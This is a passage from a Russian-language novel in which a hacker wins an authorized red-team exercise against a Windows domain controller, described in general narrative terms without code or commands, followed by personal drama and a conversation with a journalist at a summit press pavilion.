атакуемого узла, показывая только те, что в  настоящий момент открыты
и  готовы принимать запросы. Порт  — это  как окошко в  приемной большого
государственного учреждения: «по этому вопросу обращаться вот сюда».
Не зная правильного номера, заглядывать во все окна подряд попросту бес‐
полезно — не ответят, да и в неправильном окне тоже не помогут, потому что
каждое отвечает только за  свой ограниченный круг задач. Составив список
активных портов, хакер мог перейти к  следующему этапу: попытаться выяс‐
нить по характерным сигнатурам, какие программы и каких версий работают
на этих портах. Каждое серверное приложение имеет свои верные признаки,
уникальные, будто отпечатки пальцев, нужно лишь уметь различать их. Они
и  назывались так же  — «фингерпринты». Полученная информация позволит
пощупать эти сервисы на  предмет уязвимостей, список которых давно
известен. В  распоряжении каждого сетевого взломщика имеется целый
арсенал «отмычек», открывающих доступ к  серверу, если где‑то что‑то нас‐
троено неправильно или  на той стороне крутится устаревшая программа,
в конфигурации которой есть изъяны.

На серверах, которые сканировал Кирилл, к  его удивлению, откликались
сразу все порты: видимо, «синяя команда» изначально настроила файрвол
подобным образом, чтобы испортить атакующим праздник. Пойди разберись,
какие «окошки» в этом «здании» открыты по‑настоящему, а какие только дела‐
ют вид, что готовы обслуживать входящие запросы. Начинающего взломщика
такая картина, скорее всего, озадачит не на шутку. Только вот Кирилл не был
начинающим.

Терпеливо наблюдая за  ходом сканирования, он приметил любопытную
закономерность: на большинстве активных портов поле, показывавшее вер‐
сию использующего этот порт сервиса, оставалось пустым. Видимо, Фреш
поленился сымитировать какой‑либо правдоподобный отклик машины,
полагая, что, столкнувшись с необычным поведением узла, хакер отступится
от  дальнейших попыток взлома. На  самом же деле ему достаточно собрать
список портов, показывающих при  обращении к  ним полную информацию,
чтобы отбросить всё лишнее,  — задача при  грамотном подходе не  очень
сложная.

Нужный скрипт Кирилл написал примерно за полчаса и запустил сканиро‐
вание снова, теперь уже прицельно собирая сведения только о  тех «окнах»,
которые в ответ на его обращение давали живой отклик.

— Решил сделать выборку? — понимающе сказал Фреш, как всегда без‐
звучно появившись у Кирилла за спиной.

— А что еще остается? — пожал плечами тот. — Я бы на твоем месте ран‐
домайзер написал, который в  ответ на  запрос к  неактивным портам выдает
первый попавшийся сервис из  списка. Тогда у  атакующего возникнут серь‐
езные проблемы.

— А список где взять? — усомнился Леонид.
— Да из базы фингерпринтов , там большой набор идентификаторов

предусмотрен. Бери и пользуйся, даже выдумывать ничего не нужно.
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— Блин, точно! — хлопнул себя по лбу Фреш. — Кирюх, я всегда говорил,
что башка у тебя золотая.

— Главное, чтобы ее кому‑нибудь отдельно от  остального организма
не продали… И программу я бы настроил таким образом, чтобы при каждом
запросе она присваивала одному и тому же порту одинаковый фингерпринт.
А  то на  месте злодея я, например, повторил  бы сканирование пару раз
и сопоставил результаты, а потом те порты, где отклики различаются, выкинул
из выборки.

— Точняк! Спасибо!
Леонид радостно убежал в  соседнюю комнату, а  Кирилл тем временем

продолжил сидеть за  ноутбуком, вглядываясь в  темный квадрат терминала,
словно в ночное окно.

— Серёг, пометь там у  себя, что можно еще  время отклика сервака
при переборе портов немного увеличить. Напишем об этом в рекомендациях.

— А зачем?
— Чтобы сканирование у атакующих затянулось надолго. Тогда есть шанс,

что они заскучают и бросят это неблагодарное дело… Правда, от автомати‐
ческих сканеров это все равно не защитит.

Иван смотрел на происходящее, открыв рот, — для него это пока еще выг‐
лядело непостижимой магией, но  Кирилл знал: магия заканчивается ровно
в тот момент, когда начинаешь внимательно подмечать детали. Например, то,
как сервер отвечает на запросы.

Кирилл остановил сканер и переключился на другие инструменты. Теперь
его интересовало не  столько наличие сервисов, сколько поведение самой
сети. Время отклика, порядок ответов, мелкие несоответствия привычной
картине мира. Он начал аккуратно «прощупывать» выбранные сервисы, про‐
веряя, насколько охотно они рассказывают о  себе. Заголовки, версии,
нетипичные поля в пакетах — все это шаг за шагом складывалось в мозаику.
Ничего критичного, но достаточно, чтобы понять: система собиралась и нас‐
траивалась разными людьми, в  разное время и  с разным уровнем аккурат‐
ности. Вот, например, одна из машин в сети буквально приглашала заглянуть
к ней в гости: тут тебе и дырявый сервис печати, и старый добрый ,
через который в систему можно было войти, как в открытую дверь магазина
в день распродаж.
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— Слушай, похоже на  джекпот,  — глаза Вани, вглядывавшегося в  экран
через плечо Кирилла, азартно блеснули.  — Сюда можно залить шелл, и  мы
внутри!

— Не  спеши,  — осадил он практиканта.  — Самый яркий свет обычно
зажигают для того, чтобы слетелось побольше мотыльков. Это ханипот, слы‐
шал про такое? Приманка. «Синие» выставили этот сервер специально, чтобы
мы на него набросились. Как только ты попытаешься проэксплуатировать там
уязвимость, их система мониторинга тут же зафиксирует наш IP и все осталь‐
ное, вплоть до версии ядра моего «Линукса». И даже, если Фреш не совсем
дурак, попробует пробить нас в ответ. Мы пойдем другим путем.

Кирилл снова сделал глоток энергетика: напиток из  соседнего киоска
казался ему сейчас живой водой, позволяющей видеть слои реальности,
недоступные обычному человеку. В этот момент в комнату вошла Маша, неся
перед  собой коробки горячей пиццы. Запах расплавленного сыра на  мгно‐
вение вытеснил химический аромат напитка.

— Мальчики, перерыв на обед, — провозгласила она.
Кирилл посмотрел на  угощение, потом на  экран, где в  терминале мед‐

ленно ползли строки. Иван с  Сергеем резво откликнулись на  призыв, а  сам
он, несмотря на голодное бурление в животе, вернулся к клавиатуре: кажется,
в логах удалось заметить нечто любопытное. По всему выходило, что сеткой
рулил сервер под управлением 2003-й винды, на которой крутился контрол‐
лер домена Active Directory. Для системного администратора это был райский
сад, где с  помощью мышки и  красивых окошек он мог запросто объединять
сетевых пользователей в  группы, назначая и  отбирая у  них нужные права.
Для  хакера же контроллер домена представлялся Вавилоном, выстроенным
из разномастных программ и старых протоколов, державшихся исключитель‐
но на вере в то, что никто не догадается дернуть за нужную веревку, к которой
привязана добрая половина этой шаткой конструкции.

— Похоже, кто‑то забыл отключить null sessions,  — пробормотал впол‐
голоса Кирилл.

— А это что такое? — переспросил с набитым ртом Иван.
— Анонимное подключение. Без особых привилегий, зато с богатыми пер‐

спективами. Как  минимум мы сможем получить список зарегистрированных
на сервере пользователей.

— Так без паролей имена юзеров нам ничего не дадут, — смекнул Сергей,
которому подсказал очевидное опыт администрирования клубной сети.

— Что верно, то верно,  — кивнул Киря,  — но  пароль можно подобрать.
Правда, наши «синие» коллеги это быстро заметят, потому что в логах отоб‐
разится слишком много неудачных попыток входа. А  еще можно поискать
сценарии автоматизации…

Некоторые пользователи почему‑то ленятся вводить пароль после каждой
загрузки компьютера. Специально для таких ленивцев при включении машины
сервер услужливо подкидывает файл, автоматически настраивающий прин‐
теры и сетевые диски. И иногда — чисто по доброте душевной — в этих фай‐
лах админы оставляют пароли от технических учетных записей, прямо откры‐
тым текстом. Конечно, служебная учетка откроет перед  взломщиком далеко
не все возможности, но прелесть Active Directory как раз и заключается в том,
что в  этой системе совершенно не  обязательно сразу становиться богом.
Достаточно стать тем, кому бог доверяет чинить розетки.

— Ну что, всё пытаемся подобрать отмычки?  — появившийся в  комнате
Леонид ловко ухватил из коробки последний кусок «Маргариты».

— Мы уже внутри,  — спокойно ответил Кирилл.  — Отмычки не  понадо‐
бились, я нашел ключ под ковриком.

— Ух ты, серьезно? Как залез? — Фреш отправил пиццу в рот и с непод‐
дельным интересом уставился в монитор.

— Каком кверху. Мы тебе потом всё в отчете подробно напишем, отвали,
не мешай работать.

Есть что‑то невообразимо приятное в самой возможности вот так вот зап‐
росто послать куда подальше бывшее начальство, подумалось Кириллу.
И главное, без малейших последствий!

Еще через три четверти часа дело было сделано. В  соседней комнате пос‐
лышался грохот — это Фреш, видимо, почувствовал, как по его виртуальной
цитадели прошел тектонический сдвиг, и вскочил со стула.

— Кирилл, вы чего там делаете?  — раздался его встревоженный голос
из‑за стены. — У меня только что упал контроллер домена!

— Я не ронял его, Лёня, — громко ответил Киря, не скрывая торжества. —
Просто у  кого‑то руки из  неправильного места растут. В  отчете так
и  напишем: «полная компрометация инфраструктуры за  сорок пять минут».
И  передай Игорю, или  кто там контроллер настраивал, что пароли от  тех‐
нических учеток в бат‑файлах — это грех, за который в аду выделяют отдель‐
ную сковородку с подогревом от Pentium 4.

Серёга в  углу что‑то лихорадочно строчил в  блокноте. Оставив ноутбук
докачивать слитую с сервера базу пользователей, Кирилл вышел в коридор,
открыл пошире глядевшее на  проспект окно и  потер ладонями слезящиеся
глаза: нервное напряжение, державшее его в цепких объятиях с самого утра,
немного отпустило.

За спиной послышались тихие шаги, и кто‑то мягко взял его под руку. Этот
запах кондиционера для  волос, смешанный с  едва уловимым цитрусовым
ароматом духов, он узнал бы из сотен тысяч.

— Лёня там сейчас рвет и  мечет,  — негромко сказала Алла, и  ее голос
показался ему чуть грустным. — Значит, там всё совсем плохо, да?

— Значит, там всё как  обычно,  — ответил Кирилл, не  оборачиваясь.  —
Но лучше пройтись по граблям сейчас, чем когда станет слишком поздно.

— Фреш старается, — сказала Алла. — Правда. Он тут буквально ночевал
последние две недели.

— Верю. Но, знаешь, так обычно и  бывает: когда ты пытаешься предус‐
мотреть сразу кучу мелочей, что‑то серьезное обязательно ускользает
из виду.

Алла чуть сильнее сжала его локоть, будто проверяя, имеет ли еще право
на этот жест.

— Ты злишься на меня?
Кирилл наконец повернулся к ней.
— Нет. Если бы злился, ушел бы еще тогда, когда увидел вас с Фрешем.
Между ними повисла пауза — из тех, что раньше заполнялись молчанием

без усилий. За окном проехал грузовик, и стекло едва заметно задрожало.

— Так, я не  поняла,  — раздался позади недовольный возглас,  — это  что
за коза?

Алла вздрогнула и отступила на полшага. Кирилл устало прикрыл глаза.
— Познакомься, это Маша, — представил он девушку, стоявшую посреди

коридора, скрестив руки на груди с выражением человека, который только что
случайно оказался на месте кровавого преступления. — А это Алла…

— Мы с Кириллом знакомы, работали раньше вместе, — пояснила Трикси.
— Это  многое объясняет,  — Маша прищурилась,  — одно непонятно: ты

чего к моему парню липнешь?
Кирилл сделал шаг вперед, буквально вклинившись между ними.
— Девочки, давайте обойдемся без разборок, — сказал он, — я сегодня

уже насмотрелся на имитации атак.
Маша фыркнула и окинула его недовольным взглядом с ног до головы:
— Ладно, с тобой мы еще поговорим. Но чуть позже и не здесь.
Она резко развернулась и ушла обратно в офис, громко цокая каблуками.

Кирилл выдохнул.
— Прости, — сказал он Алле. — Она… немного импульсивная.
— Я заметила, — Трикси слабо улыбнулась. — Но кажется, вы подходите

друг другу.
— Тебе лучше вернуться к Фрешу, а то он тоже кого‑нибудь случайно заг‐

рызет.
Алла кивнула, нахмурилась на  мгновение, словно хотела добавить что‑то

важное, но передумала. Кирилл махнул ей рукой и зашагал по коридору, что‐
бы вернуться в комнату, где его дожидались Иван с Сергеем.

— Я хотела сказать…  — все‑таки решилась она.  — В  общем, я выхожу
замуж.

— Стабильность и  уверенность в  завтрашнем дне, да?  — обернулся он.
Секунду помедлил и добавил: — Желаю счастья, Трикси.

— И тебе, Кикс.

***
Меры безопасности тут предпринимались и вправду серьезней некуда. Нес‐
колько постов секьюрити и  рамок металлодетекторов, тщательная проверка
содержимого сумок и карманов, а автомобили, даже с номерами АМР и ЕКХ,
скучали на  стоянке за  пределами охраняемой зоны. Внутри перемещаться
разрешалось либо пешком, либо на  электрических гольф‑карах, предназна‐
ченных для высокопоставленных гостей. Посреди парка раскинулось несколь‐
ко огромных белых шатров, внутри которых оборудовали павильоны
для  делегаций и  прессы, а  возле них полоскались на  ветру флаги восьми
крупнейших мировых держав. Акваторию залива оберегали боевые пловцы —
одного из них, в гидрокостюме, с аквалангом и короткоствольным автоматом,
оптимизированным для  подводной стрельбы, как  раз окружила толпа инос‐
транных журналистов. Кто‑то даже пытался сфотографироваться с  эдакой
диковинкой.

— Infantry unit captured by enemy,  — вполголоса прокомментировал про‐
исходящее Кирилл, и один из зевак, кажется японец, все‑таки расслышал его
и радостно заулыбался — видимо, тоже увлекался этой компьютерной игрой.

— Кирюха? — его несильно хлопнули по плечу. — Ты‑то тут какими судь‐
бами?

— Привет, Жора, — Кирилл пожал руку старому знакомому и продемонс‐
трировал пластиковый бейджик с  белым силуэтом медного всадника
на синем фоне. — Вот, выдали проходку за былые заслуги. А ты тут работа‐
ешь?

— Ну да, — кивнул журналист, — как же я могу пропустить столь эпохаль‐
ное событие? Ты в  главном павильоне был уже? Нет? Ну пойдем, прогуля‐
емся…

Масштабы мероприятия и впрямь поражали воображение: предназначен‐
ную для гостей и корреспондентов зону отделили от парадного дворца и на
оставшемся пространстве возвели несколько огромных шатров, устланных
ковролином и декорированных живыми деревьями в кадках. В каждый завез‐
ли мебель, развесили по  стенам телевизионные экраны и  оснастили эти
сооружения мощными кондиционерами.

— Тут у  нас целый зал для  прессы,  — с  видом экскурсовода вещал
Жора,  — всем корреспондентам выделили рабочее место с  доступом
к  интернету, есть компьютеры, принтеры, приходи и  трудись. Прямо целый
город отгрохали, честное слово. Вон там телевизионщики тусуются, видишь?
А вот здесь, в сторонке, ресторан аж на два этажа. Очень вкусные салатики,
кстати, настоятельно рекомендую.

Они зашли в павильон под названием «Санкт‑Петербург». Народу тут ока‐
залось немного, зато имелся декоративный мостик, символизирующий бес‐
численные городские мосты через Неву и  каналы, а  прямо в  центре журчал
фонтан в круглой серебристой чаше. Потолок тут был не белым, как в других
шатрах: он изображал голубое облачное небо. Информационные стенды
у  стен рассказывали об  истории Питера на  нескольких языках  — чтобы заг‐
лянувшие сюда гости могли за пару минут сложить о городе пусть и упрощен‐
ное, но цельное представление. Кирилл замедлил шаг, машинально считывая
надписи. Его всегда удивляло, как легко город умещается в набор аккуратных
экспонатов, теряя при этом главное — горьковатый запах воды, порывистый
ветер, выхватывающий из рук прохожих зонты в переулках, а еще ощущение,
будто эти улицы и  дома живут собственной жизнью и  терпят человека лишь
из вежливости. Фонтан негромко шумел, создавая иллюзию уюта, и на мгно‐
вение павильон показался изолированным от остального пространства, буд‐
то отдельный карман реальности.

Жора остановился у инсталляции в форме старинного уличного фонаря, пос‐
мотрел на украшавшие стену рисунки мечущихся над водой чаек и задумчиво
произнес:

— Забавно. Ты, хакер, привыкший жить на  грани дозволенного законом,
а  иногда и  за гранью, и  я, только и  занимавшийся сотрясением воздуха
да складыванием букв в слова, вроде как шли совершенно разными путями.
А гляди ж ты, вот так внезапно очутились в одной точке пространства и вре‐
мени. Интересно, есть ли в этом какой‑то высший смысл?

Кирилл кивнул:
— Говорят, жизнь — это цепочка случайностей. Никогда не угадаешь, куда

она тебя приведет.
— Наверное, и не нужно угадывать, — ответил Жора. — Смысл в том, что‐

бы однажды оглянуться и сказать самому себе, что все это было не зря. Зна‐
ешь, как я в журналистику попал?

Кирилл с интересом поглядел на своего спутника, ожидая продолжения.
— У нас в школе были в моде такие дневнички‑анкеты. Девочки их маль‐

чишкам подсовывали, чтобы те писали на  страничках ответы на  всевоз‐
можные дурацкие вопросы: твой любимый цвет, любимая песня, как ты про‐
водишь свободное время и  всякое такое прочее. И  вот однажды у  меня
в  руках оказался дневник одноклассницы, которая мне очень нравилась. Я
там настрочил целое сочинение на вольную тему… А потом на уроке биологии
мне передали от  нее записку: отличный текст, автор, пиши еще… Я прямо
расцвел от такого признания моих талантов. Начал сочинять рассказы и инте‐
ресные истории, по  изложениям и  сочинениям стал хватать в  школе сплош‐
ные пятерки… Правда, потом выяснилось, что та записка предназначалась
не  мне. Но  было уже поздно. Мне понравилось быть тем, кто умеет скла‐
дывать слова так, чтобы в них кто‑то поверил.

Он усмехнулся, глядя куда‑то вверх, будто там, между нарисованными чай‐
ками, мог разглядеть строки той самой школьной записки.

— Если задуматься,  — продолжил Жора,  — никакого высшего смысла
во всем этом не было. Просто глупое совпадение. Вот из них и складывается
то, что некоторые называют судьбой.

— Мне достаточно того, что эти совпадения ведут хоть к  чему‑то
осмысленному, — сказал Кирилл.

— Важно их вовремя замечать,  — согласился Жора,  — тогда, может,
и  тебе однажды подсунут записку, которая перевернет твою жизнь с  ног
на голову так, что ты и представить себе не можешь… Ладно, пойдем, кофей‐
ку, что ли, выпьем? Я угощаю. © X
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